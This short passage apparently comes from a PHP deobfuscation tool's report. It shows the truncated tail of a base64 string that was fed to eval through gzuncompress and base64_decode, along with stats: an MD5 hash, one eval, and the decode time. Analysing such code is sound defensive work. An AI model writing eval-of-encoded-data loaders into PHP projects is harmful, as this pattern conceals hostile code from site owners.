Au1uJojLedQTTpKYDD/t7+oD/cev78kMOgg1UW4FPRvf8PKyCi0A=='))); ?>
Function Calls
gzuncompress | 1 |
base64_decode | 1 |
Stats
MD5 | 7078d467719f37759dd061956abdccc8 |
Eval Count | 1 |
Decode Time | 238 ms |